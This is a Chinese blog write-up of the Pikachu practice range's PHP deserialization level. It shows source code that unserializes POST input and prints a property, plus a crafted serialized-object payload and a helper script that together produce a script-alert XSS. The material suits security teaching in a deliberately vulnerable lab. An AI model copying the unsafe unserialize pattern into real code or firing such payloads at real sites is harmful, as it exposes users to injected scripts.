pikachu靶场_反序列化

pikachu靶场_反序列化

打开靶场:

在这里插入图片描述

查看源代码:

class S{
//用户的输入通过POST方法传递给服务器,并被用于调用 `unserialize()` //函数以创建一个名为 `S` 的新对象实例。
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}
 // O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
 
//如果用户输入的是一个有效的 (`O:1:"S":1:{s:4:"test";s:29:")
//<script>alert('xss')</script>";}` 序列化字符串,那么将会触发
//XSS(跨站脚本)攻击,因为该类中的 `$test` 变量被设置为了 //`<script>alert('xss')</script>` 这个恶意脚本。 
 
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
//需要注意的是,如果用户输入的不是有效的序列化字符串,则不会有任何效果。
//这是因为 `unserialize()` 函数会返回 `false` ,并且会跳过后续的输
//出操作。
}

这里的$s可以进行传参

$s = $_POST['o'];

判断是否能够被反序列化,即上传的参数是否经过序列化

if(!@$unser = unserialize($s))

如果上传的序列化后的参数,将上传的数据反序列化后,自动执行魔术方法 __construct() ,$unser->test 用来输出反序列化后的对象的 test 属性的值到页面上。

构造palyload:

<?php
class S{
    var $test = "*script>alert(/lin/)*/script>";
}
    // 创建一个对象
    $s=new S(); 
    // 把这个对象进行序列化输出
    print_r(serialize($s)); 
?>

执行文件:

发现他执行了文件显示出xss脚本显示不了以序列化的数据

在这里插入图片描述

我们需要更改一下执行文件使用 ***** 将 < 替换一下将*作为 < 占位符

<?php
class S{
    var $test = "*script>alert(/lin/)*/script>";
}
    // 创建一个对象
    $s=new S(); 
    // 把这个对象进行序列化输出
    print_r(serialize($s)); 
?>

执行文件:

在这里插入图片描述

将更换的符号替换回去就实现xss脚本

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值